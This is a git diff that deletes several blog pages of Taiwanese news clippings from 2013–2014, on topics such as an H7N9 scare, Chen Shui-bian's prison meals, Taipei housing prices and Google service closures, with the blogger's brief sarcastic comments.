    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e5-bd-b0-e5-8c-96-e7-9b-b4-e6-93-8a-ef-bc-8f-e4-ba-8c-e6-9e-97-e7-97-85-e6-ad-bb-e9-9b-9e-e6-b1-a0-e5-a1-98-e7-84-a1-e9-97-9ch7n9/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e5-bd-b0-e5-8c-96-e7-9b-b4-e6-93-8a-ef-bc-8f-e4-ba-8c-e6-9e-97-e7-97-85-e6-ad-bb-e9-9b-9e-e6-b1-a0-e5-a1-98-e7-84-a1-e9-97-9ch7n9/index.html deleted file mode 100644 index 7bebeb40..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e5-bd-b0-e5-8c-96-e7-9b-b4-e6-93-8a-ef-bc-8f-e4-ba-8c-e6-9e-97-e7-97-85-e6-ad-bb-e9-9b-9e-e6-b1-a0-e5-a1-98-e7-84-a1-e9-97-9ch7n9/index.html +++ /dev/null @@ -1,462 +0,0 @@ - - - - - - - - - - [剪報] 彰化直擊/二林病死雞池塘 無關H7N9 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 彰化直擊/二林病死雞池塘 無關H7N9

    -
    - - - 2013-04-06 - - - - - - - - - 剪報 - - - - - -
    - - -

    史上最厲害檢疫人員出現,連採樣送驗都不用,看腐爛的屍體就知道跟H7N9無關!

    - -

    這人根本是國寶啊!請政府好好保護,必要時直接派去需要如此高超技術的國家協助作檢疫工作!

    - -

      - - - - - - - - - - - - - - - -
    - - - - - - - -
    -
    【聯合報╱記者凌筠婷、簡慧珍/彰化縣報導】
    -
    2013.04.06 03:14 am
    -
    -

    - -

      -

    - - - - - - - - - -
    -
    彰化二林鎮許姓養豬戶的池塘,昨發現一百多隻死雞,初步排除與H7N9禽流感有關。 -記者凌筠婷/攝影
    -
    -大陸H7N9疫情持續的敏感時刻,彰化二林鎮許姓養豬戶的池塘,昨發現一百多隻死雞,還有不少病懨懨活雞;防疫人員排除與H7N9禽流感有關,懷疑許以死雞做為豬食,他否認,辯稱是被人偷載丟棄。

    - -

    許姓養豬戶的養豬場在二林鎮北平里照西路旁,昨天有民眾檢舉堆放病死雞;防疫人員前往處理時病死雞已不見蹤影,卻在養豬場後方約一百公尺的池塘,發現浮滿病死雞的屍體。

    - -

    防疫人員表示,死雞腐爛快,所以很難辨別已堆放幾天,「但絕對不只一天」。許姓養豬戶表示,他和太太平常餵豬後就離開,沒看到可疑車輛,也沒有聞到雞屍臭味。

    - -

    許表示,池塘雖是他所有,當初想要養吳郭魚,後來因為實在太忙沒空照料,就閒置在那裡;不知道是誰把死雞丟來這裡,他的豬都是吃餿水和飼料。

    - -

    動物防疫所人員找來怪手,撈起池塘裡一百多隻病死雞,全都是蛋雞。因腐爛嚴重無法採集完整檢體,初步排除與H7N9禽流感有關,防疫人員將雞屍噴灑消毒液後就地掩埋。

    - -

    彰化縣養雞協會聽說二林鎮出現病死雞,十分重視,下午派員前往了解。理事長陳國村表示,養雞場的正常折損率為萬分之五,彰化縣包括肉雞與蛋雞每天約有一萬隻雞死亡,都交給禽畜化製場再製成動物飼料,不可能外流。

    - -

    彰化縣農業局長郭丑哲表示,目前正值大陸H7N9疫情蔓延的敏感時刻,為確保防疫沒有缺口,將與警方連繫,調閱路口監視畫面追查,並加強管控病死雞流向。

    - -

    -全文網址: 彰化直擊/二林病死雞池塘 無關H7N9 | 禽流感疫情延燒 | 國內要聞 | 聯合新聞網  -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e5-bf-97-e5-b7-a5-e9-80-81-e9-a4-90-e6-89-81-e5-97-91-e5-85-89-e9-bc-8e-e6-b3-b0-e8-b1-90-e5-b0-8f-e7-b1-a0-e5-8c-85/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e5-bf-97-e5-b7-a5-e9-80-81-e9-a4-90-e6-89-81-e5-97-91-e5-85-89-e9-bc-8e-e6-b3-b0-e8-b1-90-e5-b0-8f-e7-b1-a0-e5-8c-85/index.html deleted file mode 100644 index 6f13c87a..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e5-bf-97-e5-b7-a5-e9-80-81-e9-a4-90-e6-89-81-e5-97-91-e5-85-89-e9-bc-8e-e6-b3-b0-e8-b1-90-e5-b0-8f-e7-b1-a0-e5-8c-85/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - [剪報] 志工送餐 扁嗑光鼎泰豐小籠包 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 志工送餐 扁嗑光鼎泰豐小籠包

    -
    - - - 2013-04-22 - - - - - - - - - 剪報 - - - - - -
    - - -

    坐牢的人,住得比我大間,吃得比我好上不知道多少,馬的,我真該好好檢討檢討! - - - - - - - -
    -
    【聯合報╱記者趙容萱游振昇/台中報導】
    -
    2013.04.22 04:30 am
    -

    -前總統陳水扁移監台中監獄培德醫院第三天,扁仍拒吃獄中伙食,三餐都吃光支持者送來的食物,昨天午餐吃牛肉炒麵、牛肉湯,晚餐有鼎泰豐小籠包、雞湯等,阿扁胃口不錯,都吃光了。挺扁團體台灣志工隊成員林一方及鄭羽秀連續三天送餐,她說,很多支持者希望送食物給阿扁,拜託志工隊代轉,但志工隊知道阿扁個性,扁不接受不熟悉者送來的食物,因此婉拒支持者好意,由志工隊負責採買、送餐。

    - -

    林一方說,他和鄭羽秀都是和阿扁熟識十多年的好朋友,阿扁的伙食一向由扁辦統籌,負責平日的送餐,台灣志工隊則負責假日送餐,阿扁移監台中,剛到一個新環境,不信任獄方提供的食物,昨天他和鄭羽秀來送餐,就是要讓阿扁放心、心情也會好一點。

    - -

    台中監獄副典獄長陳金峰說,送進監獄給扁的食物,和其他受刑人一樣,都須經過嚴格檢查,雞、鴨、魚、肉須煮熟後切開,豬需去骨以利檢查,湯類、冷凍品、結冰品、含酒精成分的菜,如燒酒雞等都拒收。

    - -

    此外,台中監獄外陸續有陳水扁的支持者聚集、聲援,並表示要長期如此,經警方與獄方協調後,同意比照江陳會在台中舉辦模式,今天起劃設意見表達專區,開放支持者使用。

    - -

    警方說,闢設意見表達專區,可避免挺扁民眾聲援行動影響其他探監家屬的進出,也比較不會發生突發事件。 -

    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e6-97-a5-e6-9c-ac-e7-99-bc-e8-a1-a8-e4-b8-96-e7-95-8c-e6-9c-80-e9-80-9f2gbps-e5-85-89-e7-ba-96-e7-b6-b2-e8-b7-af/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e6-97-a5-e6-9c-ac-e7-99-bc-e8-a1-a8-e4-b8-96-e7-95-8c-e6-9c-80-e9-80-9f2gbps-e5-85-89-e7-ba-96-e7-b6-b2-e8-b7-af/index.html deleted file mode 100644 index 9a2a1136..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e6-97-a5-e6-9c-ac-e7-99-bc-e8-a1-a8-e4-b8-96-e7-95-8c-e6-9c-80-e9-80-9f2gbps-e5-85-89-e7-ba-96-e7-b6-b2-e8-b7-af/index.html +++ /dev/null @@ -1,440 +0,0 @@ - - - - - - - - - - [剪報] 日本發表世界最速2Gbps光纖網路 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 日本發表世界最速2Gbps光纖網路

    -
    - - - 2013-04-15 - - - - - - - - - 剪報 - - - - - -
    - - -

    今天在PTT八卦版看到的PO文

    - -

    作者 nemesis0 (レイ) 看板 Gossiping -標題 [爆卦] 日本發表世界最速2Gbps光纖網路 -時間 Mon Apr 15 16:39:07 2013 -───────────────────────────────────────

    - -

    So-net、“世界最速”最大2GbpsのFTTHサービス「NURO 光」~月額4980円から

    - -

    ソネットエンタテインメント株式会社は15日、光ファイバーインターネット通信 -サービスの新ブランド「NURO 光」を発表した。

    - -

    最大通信速度は下り2Gbps、上り1Gbps。

    - -

    個人用の商用FTTHサービスでは世界最速だという。

    - -

    宅内終端装置には1Gbpsの有線LANポートのほか、

    - -

    最大450Mbpsの無線LAN機能(IEEE 802.11a/b/g/n、2.4GHz/5GHz)も標準装備する。

    - -

    月額料金は、2年継続の場合で4980円。このほか契約料が840円、

    - -

    基本工事費が3万1500円。

    - -

    提供エリアは、関東1都6県。

    - -

    戸建て住宅および2階建て以下の集合住宅を対象に、同日より受付を開始する。 -摘要:So-net於15日發表下載2Gbps 上傳1Gbps的光纖網路服務「NURO 光」。

    - -

    為目前世界最快的個人商用光纖網路。

    - -

    費用為每月4980yen(約台幣1500元),提供服務範圍為關東1都6縣。

    - -

    補充:最後一行的意思是,當天開始為獨棟住戶及二層樓以下的公寓住戶提供服務。

    - -

    住日本的快去申請!!!

    - -

    其中有位鄉民的推文

    - -

    推 faratia:人家都叫雞了,我們還在把妹                              04/15 16:41

    - -

    說得真好啊!

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e7-98-8b-e8-b7-af-e8-b7-91-ef-bc-8f-e5-8c-97-e5-b8-820-e9-80-80-e4-bb-b63-e5-b9-b4147-e5-a0-b4-e6-8a-95-e8-a8-b4313-e9-80-9a/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e7-98-8b-e8-b7-af-e8-b7-91-ef-bc-8f-e5-8c-97-e5-b8-820-e9-80-80-e4-bb-b63-e5-b9-b4147-e5-a0-b4-e6-8a-95-e8-a8-b4313-e9-80-9a/index.html deleted file mode 100644 index 987a0198..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e7-98-8b-e8-b7-af-e8-b7-91-ef-bc-8f-e5-8c-97-e5-b8-820-e9-80-80-e4-bb-b63-e5-b9-b4147-e5-a0-b4-e6-8a-95-e8-a8-b4313-e9-80-9a/index.html +++ /dev/null @@ -1,458 +0,0 @@ - - - - - - - - - - [剪報] 瘋路跑/北市0退件…3年147場 投訴313通 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 瘋路跑/北市0退件…3年147場 投訴313通

    -
    - - - 2014-07-18 - - - - - - - - - 剪報 - - - - - -
    - - -

    原文: http://udn.com/NEWS/SPORTS/SPO2/8811600.shtml#104

    - -

     

    - -

    假設先不考慮什麼贈品啦、人力支出等等,辦這樣動輒上萬人的活動,場地費用只要幾萬塊?報名費卻一個人收個幾百上千的??

    - -

    這不是暴利,什麼才是暴利!?

    - -

      -

    - - - - - - - - - - - - - - - -
    - - - - - - - -
    -
    -

    - -

    全民瘋路跑,北市幾乎每周末都為路跑封街。北市議員要求北市府應訂定路跑活動審核標準,避免商業路跑浮濫,影響用路人權益。

    - -

    近幾年路跑活動夯,業者嗅到商機,紛紛投入舉辦。但活動只要和北市府掛名合辦,僅需支付半價的道路使用費兩萬元,甚至免費。市議員要求,收費標準應比照運動中心場館租用辦法以差別訂價,對營利的路跑活動收費較高。

    - -

    北市議員吳思瑤統計,二○一一年至今,台北市辦過一百四十七場路跑,賽事品質良莠不齊,北市府卻零退件,不見評鑑把關。市府體育局回應,路跑為新興運動產業,因此鼓勵推動。

    - -

    吳思瑤以東京馬拉松為例,除分區段開跑、控管人流,並有志工隨處收垃圾,相較之下,「台北馬拉松」應辦得更專業,而非只讓企業賺飽飽。

    - -

    此外,活動期間市府需出動警力維持交通,吳思瑤認為主辦單位應自負交通維護責任,避免排擠警察正常勤務。她並建議路跑活動應移往河濱公園等交通衝擊較小的地區,在鼓勵運動風氣之餘,也要兼顧用路人權益。

    - -

    體育局副局長丁若亭表示,已提出試辦計畫,將市區路線分等級,限制在重要道路舉辦路跑次數,預計明年實施。

    - -

    【記者吳家宇/台北報導】路跑活動盛行,帶動全民運動風氣,但規畫不良的路跑活動,也造成民眾困擾,又以阻礙交通、製造髒亂抱怨最多。

    - -

    北市府統計,1999市民專線從二○一一年起,共接獲三百一十三通路跑投訴電話,抱怨路跑造成交通打結,或交管時間未依公告,無故提早或延長。

    - -

    雖然路跑多在假日舉行,但幾乎都使用仁愛路、凱達格蘭大道等主要幹道。此外,路線規畫宣導不足,也使開車的民眾未能避開封路區而延誤行程。其次是活動結束後垃圾滿地,造成市容髒亂,先前的彩色路跑甚至引發破壞環境、有害健康的討論。

    - -

    - -

    【2014/07/18 聯合報】@ http://udn.com/

    - -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e8-a2-ab-e6-8e-a7-e9-9a-b1-e7-9e-9e-e5-87-b6-e5-ae-85-e4-bb-b2-e4-bb-8b-e5-88-a4-e8-b3-a0225-e8-90-ac/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e8-a2-ab-e6-8e-a7-e9-9a-b1-e7-9e-9e-e5-87-b6-e5-ae-85-e4-bb-b2-e4-bb-8b-e5-88-a4-e8-b3-a0225-e8-90-ac/index.html deleted file mode 100644 index e74bef6b..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e8-a2-ab-e6-8e-a7-e9-9a-b1-e7-9e-9e-e5-87-b6-e5-ae-85-e4-bb-b2-e4-bb-8b-e5-88-a4-e8-b3-a0225-e8-90-ac/index.html +++ /dev/null @@ -1,444 +0,0 @@ - - - - - - - - - - [剪報] 被控隱瞞凶宅 仲介判賠225萬 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 被控隱瞞凶宅 仲介判賠225萬

    -
    - - - 2013-04-25 - - - - - - - - - 剪報 - - - - - -
    - - -

    96-100年 ,成交價從300—–> 525

    - -

    巧的是買賣的人持有都不久,這不是炒房是啥?

    - -

    啊不就最後一手最倒楣所以才爆出來…Doubt it! - - - - - - - - - - - - -
    - - - - - - - -
    -
    【聯合報╱記者歐陽良盈、蘇郁涵/高雄報導】
    -
    2013.04.25 03:26 am
    -
    -

    - -

    高雄市三民區91年發生一件女講師命案,事隔多年,房子幾次轉手買賣都不順,100年買家陳淑貞透過仲介買下這間房子,後來發現自己買的是凶宅提告,高雄地院審理判仲介公司賠償225萬元。全案還在上訴中。

    - -

    判決指出,紀姓男子96年時向蔡姓屋主購買這間凶宅,後來紀男想賣屋,和買家陳聯進談妥以300萬元交易房子,事後陳聯進不買了,替紀姓屋主委託仲介公司找買主,買家陳慧雯以430萬元購得,當時陳慧雯並不知道自己買的是凶宅。

    - -

    據了解,陳慧雯從事服飾買賣,簽約買屋後發現資金不足,再透過同家仲介找買家,100年7月時和新買主陳淑貞以525萬元成交。陳淑貞付完錢並辦妥權轉登記後,發現自己買到的是重大刑案凶宅,求償225萬元和13萬多的房屋稅和保險費等。

    - -

    判決指出,陳聯進委託仲介售屋時在房地產標的現況說明書上的「曾發生凶殺或自殺致死情事」欄中勾選「是」,後來與陳慧雯成交要簽訂房屋買賣契約時又塗改,改成在「否」欄項打勾。

    - -

    法官認為,仲介公司沒有善盡調查的義務,這件女講師命案當時震驚社會,後來嫌犯還被判死刑定讞,列為重大刑案,被媒體多次報導披露,承接的張姓仲介員是有證照的專業人員,且凶宅左鄰右舍常主動向有意洽購者提醒該屋是凶宅,認為張姓仲介不應該不知情。

    - -

    張姓仲介認為判決結果與事實不符,表示公司會再上訴,她辯稱,自己當初是與陳聯進接洽,談買賣房屋的過程中,陳姓屋主否認房子是凶宅,「我全程有錄音,這可成為呈堂證供」。為了保險起見,她還問了附近居民、警察,及上「凶宅網」查詢,結果顯示房子不是凶宅。

    - -

    -【2013/04/25 聯合報】@ http://udn.com/
    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e8-b3-b4-e7-b4-a0-e5-a6-82-e8-a7-b8-e7-8a-af-e3-80-8c-e4-b8-8d-e9-81-95-e8-83-8c-e8-81-b7-e5-8b-99-e6-94-b6-e8-b3-84-e3-80-8d/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e8-b3-b4-e7-b4-a0-e5-a6-82-e8-a7-b8-e7-8a-af-e3-80-8c-e4-b8-8d-e9-81-95-e8-83-8c-e8-81-b7-e5-8b-99-e6-94-b6-e8-b3-84-e3-80-8d/index.html deleted file mode 100644 index dce9398e..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e8-b3-b4-e7-b4-a0-e5-a6-82-e8-a7-b8-e7-8a-af-e3-80-8c-e4-b8-8d-e9-81-95-e8-83-8c-e8-81-b7-e5-8b-99-e6-94-b6-e8-b3-84-e3-80-8d/index.html +++ /dev/null @@ -1,438 +0,0 @@ - - - - - - - - - - [剪報] 賴素如 觸犯「不違背職務收賄」 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 賴素如 觸犯「不違背職務收賄」

    -
    - - - 2013-03-29 - - - - - - - - - 剪報 - - - - - -
    - - -

    - - - - - - - - - - - -
    - - - - - - - -
    -
    【聯合報╱記者林志函/台北報導】
    -
    2013.03.29 03:07 am
    -
    -

    - -

    台北市議員賴素如被控收賄,再利用質詢、提案等方式,幫廠商取得優先議約權,觸犯「不違背職務收賄」。什麼是不違背職務收賄?什麼又是違背職務收賄?

    - -

    舉例來說,如果甲承包政府工程,沒有依合約規定施工,依法不能通過驗收。甲希望工程過關,拿錢給監督驗收的公務員,或是招待喝花酒,公務員讓驗收通過,便觸犯「違背職務收賄」。

    - -

    如果甲的工程都依約並符合驗收標準,但是為了快速通過驗收,請公務員喝花酒或提供性招待、給予其他好處,這名公務員便觸犯「不違背職務收賄」。

    - -

    一名法官說,分辨兩者很簡單,只要考慮「公務員不收錢,他的行為有沒有違法」,如果觸法就是違背職務,沒犯法便是不違背職務。刑法規定,違背職務收受賄賂可處十年以上有期徒刑,最重能判到無期徒刑,不違背職務收賄的刑度則是七年以上有期徒刑。

    - -

    一名律師表示,賴素如若沒收錢只是護航圖利廠商,可能只構成貪汙治罪條例第六條,處五年以上有期徒刑;她若收錢,還得確認她有沒有主動開口要錢、有沒有和廠商約定,質詢時是否施壓或超出質詢範圍,才能認定構不構成犯罪

    - -

    -

    -
    這麼早就已經在開始預告將來的步數了??真的是很難看…
    -
    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e9-a1-8f-e7-82-b3-e7-ab-8b-ef-bc-9a-e5-8c-97-e5-b8-82-e9-ab-98-e6-88-bf-e5-83-b9-e5-95-8f-e9-a1-8c-e5-9c-a8-e6-b1-82-e9-81-8e-e6-96-bc-e4-be-9b/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e9-a1-8f-e7-82-b3-e7-ab-8b-ef-bc-9a-e5-8c-97-e5-b8-82-e9-ab-98-e6-88-bf-e5-83-b9-e5-95-8f-e9-a1-8c-e5-9c-a8-e6-b1-82-e9-81-8e-e6-96-bc-e4-be-9b/index.html deleted file mode 100644 index 8c7c23f0..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e9-a1-8f-e7-82-b3-e7-ab-8b-ef-bc-9a-e5-8c-97-e5-b8-82-e9-ab-98-e6-88-bf-e5-83-b9-e5-95-8f-e9-a1-8c-e5-9c-a8-e6-b1-82-e9-81-8e-e6-96-bc-e4-be-9b/index.html +++ /dev/null @@ -1,432 +0,0 @@ - - - - - - - - - - [剪報] 顏炳立:北市高房價 問題在求過於供 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 顏炳立:北市高房價 問題在求過於供

    -
    - - - 2013-04-02 - - - - - - - - - 剪報 - - - - - -
    - - -

    這不是愚人節笑話….
    -
    -
    -
    顏炳立:北市高房價 問題在求過於供
    -2013/04/01 -
    【聯合晚報╱記者游智文╱台北報導】張金鶚今天上任台北市副市長,並在臉書公布五大目標方向,戴德梁行總經理顏炳立上午表示,張金鶚提出的方向,如能落實,可解決北市高房價困境,降低民怨,但要做到不容易,他期待張金鶚能夠做得到。

    - -

    顏炳立和張金鶚這幾年對房市看法南轅北側,市場分別給與多頭和空頭總司令稱號,雙方上電視時並常常激烈交火。張金鶚在臉書所說的五大目標方向,對房市較有關聯的包括加速都更腳步、推動公營住宅普及化及空屋利用、強化不動產市場資訊透明度、對民間發布的市場資訊進行管理與規範、推動實價課稅,但自用、出租住宅宜輕稅,其他加重等。

    - -

    顏炳立表示,台北市高房價的根本的問題在需求遠大於供給,如果張金鶚能縮短都更時程,短時間內能夠提供一定量體,擴大市場供給,確可解決高房價問題。

    - -

    至於張金鶚提出實價課稅,目前能做的就是提高精華地段或豪宅公告現值或房屋評定現值,但再怎麼提高對豪宅屋主仍是九牛一毛,影響不大,至於交易資訊公開透明,以已上路的實價揭露來看,對市場並沒有直接影響,房市好壞關鍵仍在大環境經濟景氣。

    - -

    -全文網址:udn房市情報 - 達人專欄 - 名人看房市 - 顏炳立:北市高房價 問題在求過於供 -

    - -

    底下是2011年的一份報導

    - -

    全台空屋率創高 156萬戶    自由時報 – 2011年10月26日記者林美芬/台北報導

    - -

    根據行政院主計處2010年住宅普查數據,全台的空屋率達到19.4%,換成戶數高達156萬戶,創歷年新高,其中空屋率最嚴重的是台中市26.2%,但空屋最多的卻是新北市33萬戶,其次是桃園縣15.37萬戶。

    - -

    行政院主計處是每十年做一次住宅普查,其中空屋率是空屋佔住宅數比率,空屋定義則是無人經常居住,且未供其他用途。這份資料已經內部完成,不過尚未對外公布,是一份尚未正式核定的初步統計資料。

    - -

    根據同一份調查,1990年的空屋數是67萬戶,2000年調查全台空屋122萬戶,2010年增加了34萬戶,達到156萬戶,也就是20年來,全台累計增加的空屋高達89萬戶。

    - -

    全台主要都會空屋情況,空屋率最高的是台中市,達到26.2%,約是12.3萬戶,十年來是沒有多大變動,其次是基隆市25.2%,不過戶數其實只有5萬戶而已。

    - -

    但是,空屋率跳升最快的是新北市,從2000年22萬戶的17.4%,2010年跳升到33萬戶空屋率上升約5%,達到22.1%,桃園縣則是比例減少,但空屋一樣增加, 2000年13.2萬戶、23.2%; 2010年增加2萬多戶,達15.37萬戶、21%。

    - -

    至於最受到矚目的台北市,2010年的空屋是12.7萬戶,空屋率13.8%,相較於2000年,空屋10萬戶、比率為12.2%,多2.7萬戶。

    - -

    新竹縣是近來房市最夯的縣市之一,根據調查結果,2000年空屋數為2.5萬戶、20%;到了2010年空屋數提高至3.2萬戶,空屋存量約是近7000戶。至於合併前的高雄市空屋數11.4萬戶、19.4%,高雄縣則是約6萬戶。

    - -

    台北市的空屋率還有13.8% ,這樣的數據叫做需求大於供給??這種話,這些商人怎麼能夠昧著良心,毫不猶疑就在大眾媒體上發表??

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-google-e4-b8-8b-e4-b8-80-e6-b3-a2-e3-80-8c-e6-b8-85-e5-80-89-e8-a8-88-e7-95-ab-e3-80-8d-ef-bc-8c-e6-97-97-e4-b8-8b-e4-ba-94-e9-a0-85-e6-9c-8d-e5-8b-99-e6-81-90-e5-b0-87-e9-97-9c/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-google-e4-b8-8b-e4-b8-80-e6-b3-a2-e3-80-8c-e6-b8-85-e5-80-89-e8-a8-88-e7-95-ab-e3-80-8d-ef-bc-8c-e6-97-97-e4-b8-8b-e4-ba-94-e9-a0-85-e6-9c-8d-e5-8b-99-e6-81-90-e5-b0-87-e9-97-9c/index.html deleted file mode 100644 index 413f84f6..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-google-e4-b8-8b-e4-b8-80-e6-b3-a2-e3-80-8c-e6-b8-85-e5-80-89-e8-a8-88-e7-95-ab-e3-80-8d-ef-bc-8c-e6-97-97-e4-b8-8b-e4-ba-94-e9-a0-85-e6-9c-8d-e5-8b-99-e6-81-90-e5-b0-87-e9-97-9c/index.html +++ /dev/null @@ -1,435 +0,0 @@ - - - - - - - - - - [剪報] Google下一波「清倉計畫」,旗下五項服務恐將關閉 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] Google下一波「清倉計畫」,旗下五項服務恐將關閉

    -
    - - - 2013-03-20 - - - - - - - - - 未分類 - - - - - -
    - - -

    原文發表於:http://wired.tw/2013/03/20/five-google-products-at-risk/index.html

    - -

    上星期,Google總裁Larry Page一聲令下,Google立刻舉起大刀,腰斬了五項服務,其中最讓人不捨的,莫過於一去不復返的Google Reader。這波整肅行動,其實是Google實施的「春季清倉計畫」(spring cleaning)。

    - -

    這項計畫,正是由2011年4月接任總裁的Page所提出。自上任以來,他致力裁減旗下程式服務,去年九月,他執行了「秋季清倉計畫」(fall cleaning),將八項服務砍得乾乾淨淨,還對另外兩個開發介面虎視眈眈,意圖除之後快。

    - -

    Google的清倉計畫看似言之成理,實則啟人疑竇。就倖存的商品與服務來看,種類依舊是五花八門,而且許多仍在測試階段,從自動駕車程式、高科技玻璃,一路到各種社群網站、行動裝置、手機作業系統,可說是無奇不有。

    - -

    反之,功能強大、讓大批使用者為之傾倒的Google Reader,卻難逃遭驅逐的命運。兩相對照之下,Google的清倉原則顯得匪夷所思。

    - -

    根據本次大清倉透露出的開鍘標準,下回Google再開殺戒時,以下五項服務恐怕難逃一死:

    - -

    1. Google TV

    - -

    Google為了讓使用者能在客廳裡瀏覽網頁、開啟YouTube及Google Play,便打造了這款電視機介面,希望讓公司年營收增加30億美金。可惜,這項服務始終乏人問津,且負評不斷,加上硬體配件銷量不佳,連開發商羅技公司的總裁Guerrino De Luca都搖頭,稱其為「天大失策」。

    - -

    2. Google Groups

    - -

    這項線上社群組織服務,相較於曾經紅極一時的Yahoo家族功能,確實較受青睞。不過Google Groups依舊留不住用戶,許多人早已紛紛轉向更加客製化、採垂直頁面顯示的網站(如StackOverflow),或是前去投靠如Discourse及phpBB等原始碼開放的介面了。

    - -

    想當年,Google Groups推出了Usenet介面,讓Google成為搜尋引擎始祖,但隨著金主興趣漸失,慢慢撤退,這項服務也該收山了。

    - -

    3. Blogger

    - -

    Blogger於1999年問世,是推特出現前最好用的部落格介面,只是,隨著競爭對手紛紛出籠,Blogger腹背受敵,不但社群功能遜於Tumblr,客製化程度及開發團隊實力也大輸WordPress。Google之所以不開鍘,多半是擔心掀起反彈聲浪,但若要關閉發文功能,其實也易如反掌。

    - -

    4. Google Offers

    - -

    2011年,Google嘗試併購團購網Groupon未果,遂推出自家的團購服務Google Offers。後來,Groupon和同業Living Social的業績起起伏伏,但Google Offers卻未能乘勝追擊,坐享漁翁之利,Google 如果還繼續投資,顯然不太划算。

    - -

    5. Google Apps

    - -

    Google Apps據稱讓Google年營收多了10億美金,而其功能之前衛多元,可望開啟雲端運算時代。然而,所謂的10億美金,只不過佔Google年營收的2%。若Google真想走服務專一路線,根本不必向百般挑剔的大公司兜售軟體,好好和廣告商合作,賺進更大筆的廣告費用,豈不輕鬆自在多了?

    - -

     

    - -

    連blooger 也要收掉了!?

    - -

    Google Apps  要收掉真的很可惜啊…

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
